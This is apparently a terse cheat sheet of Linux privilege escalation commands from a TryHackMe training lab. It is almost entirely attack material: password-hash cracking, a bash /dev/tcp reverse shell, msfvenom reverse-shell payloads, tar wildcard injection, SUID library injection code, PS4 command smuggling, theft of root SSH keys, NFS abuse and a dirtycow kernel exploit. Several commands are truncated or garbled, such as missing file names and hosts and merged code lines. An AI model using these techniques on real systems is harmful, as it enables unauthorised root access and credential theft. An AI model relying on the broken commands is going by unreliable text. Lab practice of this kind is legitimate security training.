Linux Privilege Escalation from tryhackme

1.Service Exploits

gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname, -o raptor_udf2.o -lc
mysql -u root

2. Weak File Permissions (Readable /etc/shadow file)

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

3. Weak File Permissions (Writable /etc/shadow file)

sudo mkpasswd -m sha-512 newpass123

4. Weak File Permissions (Writable /etc/passwd file)

5. Sudo shell escape sequences

sudo -l

6. cron jobs — File Permissions

cat /etc/crontab
ls -l /usr/local/bin/
bash -i >& /dev/tcp/ 0>&1

7. cron jobs — PATH Environment Variables

cd /home/user

cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
chmod +x /home/user/
/tmp/rootbash -p

8. cron jobs — Wildcards

tar czf /tmp/backup.tar.gz *
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
msfvenom -l payloads | grep linux
user@debian:~$ uname -a
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64 GNU/Linux
msfvenom --list formats
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=5555 -f elf -o shell.elf
sudo python3 -m http.server 9999
nc -nlvp 5555
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf

9. SUID /SGID Executables Known Exploits

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

10. SUID /SGID Shared Objects Injection -l 1 -i | more
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
mkdir .config
cd .config
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));void inject() {
system("/bin/bash -p");
}Compile the .c file to create .so file
gcc -shared -fPIC -o libcalc.c
gcc -shared -fPIC -o libcalc.c

SUID /SGID Environment Variables

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
strings /usr/local/bin/suid-env
strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service
service.cint main() {setuid(0);system(“/bin/bash -p”);}
gcc -o service service.c
PATH=.:$PATH /usr/local/bin/suid-env

Abusing Shell Features (Vulnerable shell that allows forward slashes in function name)

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service
/bin/sh --version
function /usr/sbin/service { "/bin/sh" -p; }
export -f /usr/sbin/service

Abusing Shell Features (Vulnerable shell that displays prompt through a variable in debug mode)

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service
/bin/bash --version
env -i SHELLOPTS=xtrace PS4=test /usr/local/bin/suid-env2
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
/tmp/rootbash -p
cat ~/.*history | less
su root 

Password stored in Config Files

SSH Keys stored insecurely

ls -al /
ls -l /.ssh
cat /.ssh/root_key
cat /.ssh/root_key
vi root_key
chmod 600
ssh -i root_key root@

Abusing NFS Vulnerability

./ -l 1 
showmount -e <victim ip>
mkdir /tmp/nfs
mount -o rw,vers=2 /tmp/nfs
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
chmod +xs /tmp/nfs/shell.elf

Kernel Exploits

perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/
gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w
mv /tmp/bak /usr/bin/passwd




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